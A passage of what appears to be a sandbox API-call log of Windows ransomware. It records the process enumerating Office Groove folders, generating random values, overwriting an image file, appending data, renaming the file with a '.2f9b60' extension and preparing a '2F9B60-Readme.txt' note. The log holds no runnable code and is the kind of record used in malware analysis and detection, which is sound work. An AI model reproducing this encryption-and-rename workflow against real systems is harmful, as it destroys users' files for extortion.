Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" [0220.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb63e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0220.014] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BodyPaneBackground.jpg", cAlternateFileName="BODYPA~1.JPG")) returned 1 [0220.014] wcscmp (_String1="BodyPaneBackground.jpg", _String2=".") returned 1 [0220.014] wcscmp (_String1="BodyPaneBackground.jpg", _String2="..") returned 1 [0220.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1ceb64d0 [0220.015] wcscpy (in: _Dest=0x1ceb64d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.015] wcscat (in: _Dest=0x1ceb64d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.015] wcscat (in: _Dest=0x1ceb64d0, _Source="BodyPaneBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" [0220.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb64d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0220.016] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImage.jpg", cAlternateFileName="INACTI~1.JPG")) returned 1 [0220.016] wcscmp (_String1="InactiveTabImage.jpg", _String2=".") returned 1 [0220.016] wcscmp (_String1="InactiveTabImage.jpg", _String2="..") returned 1 [0220.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1ceb65c0 [0220.016] wcscpy (in: _Dest=0x1ceb65c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.016] wcscat (in: _Dest=0x1ceb65c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.016] wcscat (in: _Dest=0x1ceb65c0, _Source="InactiveTabImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" [0220.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb65c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0220.017] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImageMask.bmp", cAlternateFileName="INACTI~1.BMP")) returned 1 [0220.017] wcscmp (_String1="InactiveTabImageMask.bmp", _String2=".") returned 1 [0220.017] wcscmp (_String1="InactiveTabImageMask.bmp", _String2="..") returned 1 [0220.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb66b0 [0220.017] wcscpy (in: _Dest=0x1ceb66b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.017] wcscat (in: _Dest=0x1ceb66b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.018] wcscat (in: _Dest=0x1ceb66b0, _Source="InactiveTabImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" [0220.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb66b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b80 [0220.018] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImages.jpg", cAlternateFileName="MARKUP~1.JPG")) returned 1 [0220.018] wcscmp (_String1="MarkupIconImages.jpg", _String2=".") returned 1 [0220.018] wcscmp (_String1="MarkupIconImages.jpg", _String2="..") returned 1 [0220.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1ceb67a0 [0220.019] wcscpy (in: _Dest=0x1ceb67a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.019] wcscat (in: _Dest=0x1ceb67a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.019] wcscat (in: _Dest=0x1ceb67a0, _Source="MarkupIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" [0220.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb67a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3138 [0220.019] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="MARKUP~1.BMP")) returned 1 [0220.020] wcscmp (_String1="MarkupIconImagesMask.bmp", _String2=".") returned 1 [0220.020] wcscmp (_String1="MarkupIconImagesMask.bmp", _String2="..") returned 1 [0220.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb6890 [0220.020] wcscpy (in: _Dest=0x1ceb6890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0220.020] wcscat (in: _Dest=0x1ceb6890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0220.020] wcscat (in: _Dest=0x1ceb6890, _Source="MarkupIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" [0220.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb6890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f48 [0220.021] FindNextFileW (in: hFindFile=0x431fa440, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="MARKUP~1.BMP")) returned 0 [0220.021] FindClose (in: hFindFile=0x431fa440 | out: hFindFile=0x431fa440) returned 1 [0220.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0220.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431002c0) returned 1 [0220.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37950) returned 1 Thread: id = 3686 os_tid = 0x2218 [0218.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x43109b10 [0218.326] wcscpy (in: _Dest=0x43109b10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" [0218.327] wcscat (in: _Dest=0x43109b10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\" [0218.327] wcscat (in: _Dest=0x43109b10, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*" [0218.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0218.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d3d0 [0219.937] wcscmp (_String1=".", _String2=".") returned 0 [0219.937] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.941] wcscmp (_String1="..", _String2=".") returned 1 [0219.941] wcscmp (_String1="..", _String2="..") returned 0 [0219.941] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0219.941] wcscmp (_String1="AddToViewArrow.jpg", _String2=".") returned 1 [0219.941] wcscmp (_String1="AddToViewArrow.jpg", _String2="..") returned 1 [0219.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0ba0 [0219.941] wcscpy (in: _Dest=0x1ced0ba0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" [0219.941] wcscat (in: _Dest=0x1ced0ba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\" [0219.941] wcscat (in: _Dest=0x1ced0ba0, _Source="AddToViewArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" [0219.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg")) returned 0x20 [0219.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg", dwFileAttributes=0x20) returned 1 [0220.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32d4 [0220.049] GetFileSizeEx (in: hFile=0x32d4, lpFileSize=0x2cb9fc60 | out: lpFileSize=0x2cb9fc60*=3048) returned 1 [0220.049] SetFilePointerEx (in: hFile=0x32d4, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.050] ReadFile (in: hFile=0x32d4, lpBuffer=0x2cb9fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb9fc28, lpOverlapped=0x0 | out: lpBuffer=0x2cb9fbe0*, lpNumberOfBytesRead=0x2cb9fc28*=0x4, lpOverlapped=0x0) returned 1 [0221.316] SetFilePointerEx (in: hFile=0x32d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0221.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0221.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0221.319] NtQuerySystemTime (in: CurrentTime=0x2cb9fb20 | out: CurrentTime=0x2cb9fb20*=132462178253182000) returned 0x0 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0xfc8811f [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x719dd445 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x38632283 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x46657d37 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x64aa1773 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x2fb54c71 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0xc24c2f3 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x160f4b70 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x6b32fd68 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x2fff7795 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x1bd49591 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x4f8e3874 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x44a3e862 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x410ce9b5 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x22e9504c [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x5434a8fa [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x7aea6478 [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x516b8c6f [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x3642f77f [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x3762141f [0221.319] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x2f95076 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x5be1fa04 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x72ecb1e0 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x15106080 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x306d1e88 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x63a00aee [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x32b81a2e [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x1dc5fab3 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x6745b286 [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x7ecd945b [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x75dfd5ca [0221.320] RtlRandomEx (in: Seed=0x2cb9fb10 | out: Seed=0x2cb9fb10) returned 0x7f4c863f [0221.371] ReadFile (in: hFile=0x32d4, lpBuffer=0x42abcae0, nNumberOfBytesToRead=0xbe8, lpNumberOfBytesRead=0x2cb9fb10, lpOverlapped=0x0 | out: lpBuffer=0x42abcae0*, lpNumberOfBytesRead=0x2cb9fb10*=0xbe8, lpOverlapped=0x0) returned 1 [0221.371] SetFilePointerEx (in: hFile=0x32d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.371] WriteFile (in: hFile=0x32d4, lpBuffer=0x42a8fa20*, nNumberOfBytesToWrite=0xbe8, lpNumberOfBytesWritten=0x2cb9fb14, lpOverlapped=0x0 | out: lpBuffer=0x42a8fa20*, lpNumberOfBytesWritten=0x2cb9fb14*=0xbe8, lpOverlapped=0x0) returned 1 [0234.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3520 [0234.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f67f0 [0234.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f67f0) returned 1 [0234.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8fa20) returned 1 [0234.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42abcae0) returned 1 [0234.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0234.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce626e0) returned 1 [0234.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac920 [0234.803] SetFilePointerEx (in: hFile=0x32d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.803] WriteFile (in: hFile=0x32d4, lpBuffer=0x431e1800*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2cb9fc30, lpOverlapped=0x0 | out: lpBuffer=0x431e1800*, lpNumberOfBytesWritten=0x2cb9fc30*=0x116, lpOverlapped=0x0) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e1800) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ac7e0) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f67f0) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ac920) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3520) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a8d0) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b110) returned 1 [0236.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0236.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x430d7d00 [0236.552] wcscpy (in: _Dest=0x430d7d00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" [0236.552] wcscat (in: _Dest=0x430d7d00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.2f9b60" [0236.552] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.2f9b60", NtPathName=0x2cb9fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b790080 [0236.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b790080) returned 1 [0236.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c345c0) returned 1 [0236.936] NtQueryInformationFile (in: FileHandle=0x32d4, IoStatusBlock=0x2cb9fcb8, FileInformation=0x2cb9fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cb9fcb8, FileInformation=0x2cb9fcc8) returned 0x0 [0236.936] NtSetInformationFile (FileHandle=0x32d4, IoStatusBlock=0x2cb9fcb8, FileInformation=0x2cb9fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d7d00) returned 1 [0237.033] FlushFileBuffers (hFile=0x32d4) returned 1 [0238.196] CloseHandle (hObject=0x32d4) returned 1 [0241.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced1000 [0241.258] wcscpy (in: _Dest=0x1ced1000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\" [0241.258] wcscat (in: _Dest=0x1ced1000, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\2F9B60-Readme.txt" 